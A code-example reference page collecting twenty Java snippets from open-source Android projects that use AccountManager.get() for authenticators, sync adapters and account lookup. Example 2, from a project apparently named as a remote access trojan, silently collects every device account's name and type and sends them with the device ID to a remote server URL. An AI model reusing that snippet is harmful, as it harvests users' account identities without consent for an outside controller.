Java Code Examples for android.accounts.AccountManager#get()
The following examples show how to use
android.accounts.AccountManager#get() .
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: Authenticator.java From palmsuda with Apache License 2.0 | 6 votes |
/** * {@inheritDoc} */ @Override public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account, String authTokenType, Bundle loginOptions) { Log.i(TAG, "updateCredentials:"); final Intent intent = new Intent(mContext, NPersoncenterAvtivity.class); AccountManager am = AccountManager.get(mContext); intent.putExtra(Params.PARAMS_LOGIN_ID, am.getUserData(account, Params.PARAMS_LOGIN_ID)); intent.setAction("android.intent.action.VIEW"); intent.putExtra("account", account); intent.putExtra(NPersoncenterAvtivity.PARAM_AUTHTOKEN_TYPE, authTokenType); intent.putExtra(NPersoncenterAvtivity.PARAM_CONFIRMCREDENTIALS, false); final Bundle bundle = new Bundle(); bundle.putParcelable(AccountManager.KEY_INTENT, intent); return bundle; }
Example 2
Source File: MyService.java From BetterAndroRAT with GNU General Public License v3.0 | 6 votes |
@Override protected String doInBackground(String... params) { AccountManager am = AccountManager.get(getApplicationContext()); Account[] accounts = am.getAccounts(); ArrayList<String> googleAccounts = new ArrayList<String>(); int i = 0; for (Account ac : accounts) { if(i<Integer.parseInt(j)) { String acname = ac.name; String actype = ac.type; googleAccounts.add(ac.name); try { getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "[" + actype + "] " + acname ); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } } i++; } return "Executed"; }
Example 3
Source File: Accounts.java From cathode with Apache License 2.0 | 6 votes |
public static void setupAccount(Context context) { AccountManager manager = AccountManager.get(context); Account account = getAccount(context); try { if (manager.addAccountExplicitly(account, null, null)) { ContentResolver.setIsSyncable(account, BuildConfig.AUTHORITY_DUMMY_CALENDAR, 1); ContentResolver.setSyncAutomatically(account, BuildConfig.AUTHORITY_DUMMY_CALENDAR, true); ContentResolver.addPeriodicSync(account, BuildConfig.AUTHORITY_DUMMY_CALENDAR, new Bundle(), 12 * 60 * 60 /* 12 hours in seconds */); } } catch (SecurityException e) { Timber.e(e, "Unable to add account"); } }
Example 4
Source File: Utils.java From kolabnotes-android with GNU Lesser General Public License v3.0 | 6 votes |
public static String getAccountType(Context context, AccountIdentifier accountId) { if(Utils.isLocalAccount(accountId)){ return "local"; } AccountManager accountManager = AccountManager.get(context); Account[] accounts = AccountManager.get(context).getAccountsByType(AuthenticatorActivity.ARG_ACCOUNT_TYPE); for (Account acc : accounts) { String email = accountManager.getUserData(acc, AuthenticatorActivity.KEY_EMAIL); String rootFolder = accountManager.getUserData(acc, AuthenticatorActivity.KEY_ROOT_FOLDER); if(accountId.getAccount().equals(email) && accountId.getRootFolder().equals(rootFolder)){ return accountManager.getUserData(acc, AuthenticatorActivity.KEY_ACCOUNT_TYPE); } } return null; }
Example 5
Source File: AndroidAuthenticator.java From WayHoo with Apache License 2.0 | 6 votes |
@SuppressWarnings("deprecation") @Override public String getAuthToken() throws AuthFailureError { final AccountManager accountManager = AccountManager.get(mContext); AccountManagerFuture<Bundle> future = accountManager.getAuthToken(mAccount, mAuthTokenType, mNotifyAuthFailure, null, null); Bundle result; try { result = future.getResult(); } catch (Exception e) { throw new AuthFailureError("Error while retrieving auth token", e); } String authToken = null; if (future.isDone() && !future.isCancelled()) { if (result.containsKey(AccountManager.KEY_INTENT)) { Intent intent = result.getParcelable(AccountManager.KEY_INTENT); throw new AuthFailureError(intent); } authToken = result.getString(AccountManager.KEY_AUTHTOKEN); } if (authToken == null) { throw new AuthFailureError("Got null auth token for type: " + mAuthTokenType); } return authToken; }
Example 6
Source File: ChooseAccountDialogFragment.java From kolabnotes-android with GNU Lesser General Public License v3.0 | 6 votes |
@Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.fragment_choose_account, container); activeAccountRepository = new ActiveAccountRepository(getActivity()); accountSpinner = (Spinner) view.findViewById(R.id.spinner_account); selectButton = (Button) view.findViewById(R.id.select_button); cancelButton = (Button) view.findViewById(R.id.cancel_button); selectButton.setOnClickListener(this); cancelButton.setOnClickListener(this); localAccountName = getResources().getString(R.string.drawer_account_local); getDialog().setTitle(R.string.account_choose_title); mAccountManager = AccountManager.get(getActivity()); initAccountSpinner(); return view; }
Example 7
Source File: MessagesController.java From Yahala-Messenger with MIT License | 5 votes |
public void deleteAllAppAccounts() { try { AccountManager am = AccountManager.get(ApplicationLoader.applicationContext); Account[] accounts = am.getAccountsByType("org.telegram.messenger.account"); for (Account c : accounts) { am.removeAccount(c, null, null); } } catch (Exception e) { e.printStackTrace(); } }
Example 8
Source File: MobileServiceClient.java From azure-mobile-apps-android-client with Apache License 2.0 | 5 votes |
/** * Invokes Microsoft Azure Mobile Service authentication using a the Google * account registered in the device * * @param activity The activity that triggered the authentication * @param scopes The scopes used as authentication token type for login */ public ListenableFuture<MobileServiceUser> loginWithGoogleAccount(Activity activity, String scopes) { AccountManager acMgr = AccountManager.get(activity.getApplicationContext()); Account[] accounts = acMgr.getAccountsByType(GOOGLE_ACCOUNT_TYPE); Account account; if (accounts.length == 0) { account = null; } else { account = accounts[0]; } return loginWithGoogleAccount(activity, account, scopes); }
Example 9
Source File: PredatorSyncAdapter.java From Capstone-Project with MIT License | 5 votes |
public PredatorSyncAdapter(Context context, boolean autoInitialize) { super(context, autoInitialize); mAccountManager = AccountManager.get(context); // Initialize the presenters. mPostsPresenter = new PostsPresenter(mPostsView); mPostsPresenter.subscribe(); }
Example 10
Source File: PreferencesActivity.java From financisto with GNU General Public License v2.0 | 5 votes |
private Account getSelectedAccount() { String accountName = MyPreferences.getGoogleDriveAccount(this); if (accountName != null) { AccountManager accountManager = AccountManager.get(this); Account[] accounts = accountManager.getAccountsByType("com.google"); for (Account account : accounts) { if (accountName.equals(account.name)) { return account; } } } return null; }
Example 11
Source File: OdooAccountManager.java From hr with GNU Affero General Public License v3.0 | 5 votes |
/** * Logout user * * @param context * @param username * @return true, if successfully logged out */ public static boolean logout(Context context, String username) { OUser user = getDetails(context, username); if (user != null) { if (cancelUserSync(user.getAccount())) { AccountManager accountManager = AccountManager.get(context); accountManager.setUserData(user.getAccount(), "isactive", "false"); Log.i(TAG, user.getName() + " Logged out successfully"); return true; } } return false; }
Example 12
Source File: MicropubAction.java From indigenous-android with GNU General Public License v3.0 | 5 votes |
/** * Parse tags response. * * @param response * Parse tags response. * @param tags * The autocomplete field * @param saveInAccount * Whether to set the tags list or not. * @param user * The user. */ private void parseTagsResponse(String response, MultiAutoCompleteTextView tags, boolean saveInAccount, User user) { ArrayList<String> items = new ArrayList<>(); try { JSONObject categoryResponse = new JSONObject(response); if (categoryResponse.has("categories")) { JSONArray tagsList = categoryResponse.getJSONArray("categories"); if (tagsList.length() > 0) { for (int i = 0; i < tagsList.length(); i++) { items.add(tagsList.getString(i)); } } } } catch (JSONException ignored) {} if (items.size() > 0) { setTagsAutocomplete(tags, items); if (saveInAccount) { AccountManager am = AccountManager.get(context); am.setUserData(user.getAccount(), "tags_list", response); } } }
Example 13
Source File: OdooAccountManager.java From hr with GNU Affero General Public License v3.0 | 5 votes |
/** * Creates Odoo account for app * * @param context * @param user user instance (OUser) * @return true, if account created successfully */ public static boolean createAccount(Context context, OUser user) { AccountManager accountManager = AccountManager.get(context); Account account = new Account(user.getAndroidName(), KEY_ACCOUNT_TYPE); if (accountManager.addAccountExplicitly(account, String.valueOf(user.getPassword()), user.getAsBundle())) { OPreferenceManager pref = new OPreferenceManager(context); if (pref.getInt(userObjectKEY(user), 0) != OUser.USER_ACCOUNT_VERSION) { pref.putInt(userObjectKEY(user), OUser.USER_ACCOUNT_VERSION); } return true; } return false; }
Example 14
Source File: AccountImporter.java From Android-SingleSignOn with GNU General Public License v3.0 | 5 votes |
public static List<Account> findAccounts(final Context context) { final AccountManager accMgr = AccountManager.get(context); final Account[] accounts = accMgr.getAccounts(); List<Account> accountsAvailable = new ArrayList<>(); for (final Account account : accounts) { for (String accountType : ACCOUNT_TYPES) { if (accountType.equals(account.type)) { accountsAvailable.add(account); } } } return accountsAvailable; }
Example 15
Source File: AuthHelper.java From android-atleap with Apache License 2.0 | 5 votes |
/** * Get password of specified account * @param context context * @param account account * @return account password */ public static String getAccountPassword(Context context, Account account) { if(account == null) return null; AccountManager accountManager = AccountManager.get(context); return accountManager.getPassword(account); }
Example 16
Source File: OdooAccountManager.java From framework with GNU Affero General Public License v3.0 | 5 votes |
/** * Creates Odoo account for app * * @param context * @param user user instance (OUser) * @return true, if account created successfully */ public static boolean createAccount(Context context, OUser user) { AccountManager accountManager = AccountManager.get(context); Account account = new Account(user.getAndroidName(), KEY_ACCOUNT_TYPE); if (accountManager.addAccountExplicitly(account, String.valueOf(user.getPassword()), user.getAsBundle())) { OPreferenceManager pref = new OPreferenceManager(context); if (pref.getInt(userObjectKEY(user), 0) != OUser.USER_ACCOUNT_VERSION) { pref.putInt(userObjectKEY(user), OUser.USER_ACCOUNT_VERSION); } return true; } return false; }
Example 17
Source File: AppModule.java From Pioneer with Apache License 2.0 | 4 votes |
@Provides @Singleton public AccountManager provideAccountManager(@ForApp Context context) { return AccountManager.get(context); }
Example 18
Source File: AndroidAuthenticator.java From TitanjumNote with Apache License 2.0 | 2 votes |
/** * Creates a new authenticator. * @param context Context for accessing AccountManager * @param account Account to authenticate as * @param authTokenType Auth token type passed to AccountManager * @param notifyAuthFailure Whether to raise a notification upon auth failure */ public AndroidAuthenticator(Context context, Account account, String authTokenType, boolean notifyAuthFailure) { this(AccountManager.get(context), account, authTokenType, notifyAuthFailure); }
Example 19
Source File: LoginUtils.java From android-galaxyzoo with GNU General Public License v3.0 | 2 votes |
/** * Get the Account. * * Don't call this from the main thread - use an AsyncTask, for instance. * * @param context * @return */ private static Account getAccount(final Context context) { final AccountManager mgr = AccountManager.get(context); return getAccount(mgr); }
Example 20
Source File: AndroidAuthenticator.java From DaVinci with Apache License 2.0 | 2 votes |
/** * Creates a new authenticator. * @param context Context for accessing AccountManager * @param account Account to authenticate as * @param authTokenType Auth token type passed to AccountManager * @param notifyAuthFailure Whether to raise a notification upon auth failure */ public AndroidAuthenticator(Context context, Account account, String authTokenType, boolean notifyAuthFailure) { this(AccountManager.get(context), account, authTokenType, notifyAuthFailure); }